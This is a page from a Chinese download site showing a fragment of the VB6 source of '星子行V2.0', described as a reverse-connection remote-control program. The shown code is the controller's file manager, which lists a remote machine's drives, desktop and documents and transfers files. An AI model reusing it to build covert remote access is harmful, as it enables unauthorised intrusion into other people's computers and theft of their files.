⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 faws.frm

📁 星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V2.0的核心结合而开发成的! 星子行V1.0是单反接正法,星子行V2.0是多反接法,星子行V3.0以上版本都是多反
💻 FRM
📖 第 1 页 / 共 5 页
字号:

If ji < 1024 Then
  
  jfns = "已接收:" & ji & "字节 "

ElseIf ji < 1048576 Then

jfns = ji / 1024

jfns = "已接收:" & Round(jfns, 2) & "KB "

ElseIf ji < 1073741824 Then

jfns = ji / 1024 / 1024

jfns = "已接收:" & Round(jfns, 2) & "MB "

ElseIf ji >= 1073741824 Then

jfns = ji / 1024 / 1024 / 1024

jfns = "已接收:" & Round(jfns, 2) & "GB "

End If

 '''''''''''''''''''''''''''
  If Rnbs < 1024 Then
  
  fns = (ji / filesizes) * 100
  
  Fapt.Label2.Caption = "(" & Filesizedb & jfns & " 剩余:" & Rnbs & "字节" & ")" & " 已完成" & fns & "%"
  
  ElseIf Rnbs < 1048576 Then
  
  fns = (ji / filesizes) * 100
  
   Robs = Rnbs / 1024
  
  Fapt.Label2.Caption = "(" & Filesizedb & jfns & "剩余:" & Round(Robs, 2) & "KB" & ")" & " 已完成:" & fns & "%"
  
  ElseIf Rnbs < 1073741824 Then
  
  fns = (ji / filesizes) * 100
  
  Robs = Rnbs / 1024 / 1024
  
  Fapt.Label2.Caption = "(" & Filesizedb & jfns & "剩余:" & Round(Robs, 2) & "MB" & ")" & " 已完成:" & fns & "%"
  
  ElseIf Rnbs >= 1073741824 Then
  
  fns = (ji / filesizes) * 100
  
   Robs = Rnbs / 1024 / 1024 / 1024
  
  Fapt.Label2.Caption = "(" & Filesizedb & jfns & "剩余:" & Round(Robs, 2) & "GB" & ")" & " 已完成:" & fns & "%"
  
  End If
  '''''''''''''''''''''''''''''''''''

If (ji = filesizes) Then

fileput = False

Close #1

'MsgBox "完成" '_______________________________________________

End If


End If


Exit Sub


er:

MsgBox "写入文件出错", 16, "出错"

fileput = False

Exit Sub

er1:

MsgBox "网络出现错误"



End Sub


Public Sub createfs(cfs As String)

On Error Resume Next


Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")
Dim g1 As Long
Dim g2 As String
Dim g4 As String
'Dim g3 As Long

g1 = 4

g2 = "\"



Do While (g1 <> 1)


g1 = InStr(g1, cfs, g2, 1)

If (g1 = 0) Then Exit Sub

g4 = Left(cfs, g1 - 1)


On Error Resume Next

fs.CreateFolder (g4)
     
g1 = g1 + 1

Loop


End Sub


Private Function filename(n As String) As String

On Error GoTo er

Dim path1 As String
path1 = Faws.ListView2.SelectedItem.Key
Dim b2 As String
Dim b1 As Long
Dim b3 As Long
Dim name As String
If (Right(path1, 1) = "\") Then
 
 
path1 = Left(path1, Len(path1) - 1)
 
 
End If

 b2 = "\"
 b1 = Len(path1)
 Do While b1 >= 1
 b1 = b1 - 1
 
 b3 = InStr(b1, path1, b2, 1)
 
 If (b3 > 0) Then
 
 Exit Do
 End If
 
 Loop
 
 
 
 name = Mid(n, b3 + 1)
 filename = name
 
 ''''''''''''''''
 
 Exit Function
 
er:
 
 MsgBox "出错号001"
 
 
 
End Function



Private Sub Scmnet3_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

On Error Resume Next

MsgBox "网络连接出错!", 16



Scmnet3.Close
Scmnet3.Listen

Unload Fapt

'Unload Me

End Sub

Private Sub Scmnet3_SendComplete()

On Error Resume Next

Select Case fileinfo

Case 1

   fileinfo = 2

   Sleep (100)

   Call file2

Case 2

   Call file2

Case 5

  fileinfo = 0
  Close #1

  Sleep (100)
  
  Call list1tolist2(0)

Case 6

Sleep (100)

Call list2_list1




End Select


End Sub

Private Sub Scmnet4_DataArrival(ByVal bytesTotal As Long)

On Error GoTo er
Dim b1 As Long
 Dim b As Long
 Dim b2 As String
 Dim b3 As Long



Dim k As String
Scmnet4.GetData k

Dim a1 As String   '接收类型 0 为驱动器 1 为文件夹 2 为文件
Dim a2 As String    'a1=0 时为磁盘类型,其它为空
Dim a3 As String    'a1=0 时为盘符 其它为路径
Dim S As String     '为磁盘名称
a1 = Left(k, 1)

Select Case a1
Case 0
 a2 = Mid(k, 2, 1)
 a3 = Right(k, Len(k) - 2)
         
        Select Case a2
        
        Case 0
       
        S = "未知设备(" & a3 & ":)"
        ListView2.ListItems.Add , a3 & ":\", S, 7
        Combo2.AddItem S

        Case 1
        
        S = "移动磁盘(" & a3 & ":)"
        ListView2.ListItems.Add , a3 & ":\", S, 8
        Combo2.AddItem S


        Case 2
        
        S = "本地磁盘(" & a3 & ":)"
        ListView2.ListItems.Add , a3 & ":\", S, 2
        Combo2.AddItem S


        Case 3
        
        S = "网络磁盘(" & a3 & ":)"
        ListView2.ListItems.Add , a3 & ":\", S, 7
        Combo2.AddItem S


        Case 4
        S = "光盘驱动器(" & a3 & ":)"
        ListView2.ListItems.Add , a3 & ":\", S, 3
        Combo2.AddItem S


        Case 5
        S = "RAM DISK(" & a3 & ":)"

        ListView2.ListItems.Add , a3 & ":\", S, 7
        Combo2.AddItem S

        Case 8
        
        S = "[" & Rcname & "]" & "的文档"
        
        
    
        ListView2.ListItems.Add , a3 & "\", S, 1 '已修改 以前没有a3 "\"改为"文档"
        Combo2.AddItem S
        
        x文档 = a3 & "\"
        
        Case 9
       
        S = "[" & Rcname & "]" & "的桌面"
        
        ListView2.ListItems.Add , a3 & "\", S, 9 '已修改 以前没有a3 "\"改为"桌面"
        Combo2.AddItem S
        
        desktoppath = a3 & "\"
        
        End Select
       
 Case 1
 a3 = Right(k, Len(k) - 1)
 

 
 
 b2 = "\"
 b1 = Len(a3)
 Do While b1 >= 1
 b1 = b1 - 1
 
 b3 = InStr(b1, a3, b2, 1)
 
 If (b3 > 0) Then
 
 Exit Do
 End If
 
 Loop
 
 
 
 a2 = Right(a3, Len(a3) - b3)
 ListView2.ListItems.Add , a3 & "\", a2, 1

Case 2

a3 = Right(k, Len(k) - 1)
 

 
 
 b2 = "\"
 b1 = Len(a3)
 Do While b1 >= 1
 b1 = b1 - 1
 
 b3 = InStr(b1, a3, b2, 1)
 
 If (b3 > 0) Then
 
 Exit Do
 End If
 
 Loop
 
 
 
 a2 = Right(a3, Len(a3) - b3)
 
  Dim index As Long
  index = udpico(a2)
 
 ListView2.ListItems.Add , a3, a2, index


 Case 4
 
 ListView2.ListItems.Clear
 
Case 5

MsgBox "文件或文件夹拒绝访问!", 16, "出错"

Call Toolbar2_ButtonClick(Toolbar2.Buttons(1))
 
Case 6

MsgBox "已存在一个名为“远程传输-新建文件夹”的文件夹,或其它原因,创建文件夹失败!", 16, "出错"
 
 Case 7
  ListView2.ListItems.Clear
 Combo2.Clear
 Combo2.AddItem "[" & Rcname & "]" & "的电脑"
Combo2.SelText = "[" & Rcname & "]" & "的电脑"

 End Select
 


Exit Sub

er:
MsgBox "未处理"


End Sub

Private Sub Scmnet4_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Scmnet4.Close
Scmnet4.Bind Puport1
Call UDP_P

End Sub


Public Sub computer()

On Error Resume Next


 StatusBar1.Panels(2).Text = "我的电脑"
 StatusBar1.Panels(2).ToolTipText = "我的电脑"

Toolbar1.Buttons(1).Enabled = False
Toolbar1.Buttons(2).Enabled = False
Toolbar1.Buttons(3).Enabled = False
Toolbar1.Buttons(4).Enabled = False

 ListView1.ListItems.Clear
  Dim index As Long
 Dim f

Dim path As String
  Dim fc, f1, fs, d, dc
 Dim S As String
        
      Set fs = CreateObject("Scripting.FileSystemObject")

Dim pi As String




list1key = ""



 Set dc = fs.Drives
    For Each d In dc
        
    pi = d.DriveLetter
    
    Select Case d.DriveType
        Case 0
       
        S = "未知设备(" & d.DriveLetter & ":)"
        ListView1.ListItems.Add , pi & ":\", S, 7

        Case 1
        
        S = "移动磁盘(" & d.DriveLetter & ":)"
        ListView1.ListItems.Add , pi & ":\", S, 8

        Case 2
        
        S = "本地磁盘(" & d.DriveLetter & ":)"
        ListView1.ListItems.Add , pi & ":\", S, 2

        Case 3
        
        S = "网络磁盘(" & d.DriveLetter & ":)"
        ListView1.ListItems.Add , pi & ":\", S, 7

        Case 4
        S = "光盘驱动器(" & d.DriveLetter & ":)"
        ListView1.ListItems.Add , pi & ":\", S, 3

        Case 5
        S = "RAM DISK(" & d.DriveLetter & ":)"

        ListView1.ListItems.Add , pi & ":\", S, 7


        
        End Select
      Next

'列出我的文档桌面__________________________________ 后加

ListView1.ListItems.Add , regread("personal") & "\", "我的文档", 1

ListView1.ListItems.Add , regread("desktop") & "\", "桌面", 9


End Sub

Private Sub ListView1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)


mu1 = 1

Dim Ptype As String

If Button = 1 Then   '   检查是否单击了鼠标右键。
 
  
     'PopupMenu file1, vbPopupMenuLeftAlign '   把文件菜单显示为一个弹出式菜单。
      Else
      
      Sendfile1.Enabled = True
      
            
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

  Ptype = LCase(Right(ListView1.SelectedItem.Key, Len(ListView1.SelectedItem.Key) - InStrRev(ListView1.SelectedItem.Key, ".")))
  
  Cwallpaper.Enabled = False
  
  Select Case Ptype
  
   Case "jpg", "bmp", "gif", "ico", "png"
   
   Cwallpaper.Enabled = True
  
  End Select

''''''''''''''''''''''''''''''''''''''''''''''''''''''
       
       PopupMenu file1, vbPopupMenuLeftAlign '   把文件菜单显示为一个弹出式菜单。
      End If
 

End Sub

Private Sub ListView2_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)


mu1 = 2

Dim Ptype As String

If Button = 1 Then   '   检查是否单击了鼠标右键。
 
  
     'PopupMenu file1, vbPopupMenuLeftAlign '   把文件菜单显示为一个弹出式菜单。
      Else
      
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

  
  Ptype = LCase(Right(ListView2.SelectedItem.Key, Len(ListView2.SelectedItem.Key) - InStrRev(ListView2.SelectedItem.Key, ".")))
  
  Cwallpaper.Enabled = False
  
  Select Case Ptype
  
   Case "jpg", "bmp", "gif", "ico", "png"
   
   Cwallpaper.Enabled = True
  
  End Select

''''''''''''''''''''''''''''''''''''''''''''''''''''''
      
       
       PopupMenu file1, vbPopupMenuLeftAlign '   把文件菜单显示为一个弹出式菜单。
      End If
 

End Sub

Private Sub ListView1_keypress(keyascii As Integer)

   Select Case keyascii

     Case "13"
     
     Call Open1_Click

     Case "32"
     
     Call Rfiles_Click

Case "46"

Call Delfiles_Click

Case "27"

Call Exitwin_Click

    End Select

End Sub

Private Sub ListView2_KeyPress(keyascii As Integer)

   Select Case keyascii

     Case "13"
     
     Call Open1_Click

     Case "32"
     
     Call Rfiles_Click

Case "46"

Call Delfiles_Click

Case "27"

Call Exitwin_Click

    End Select

End Sub

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -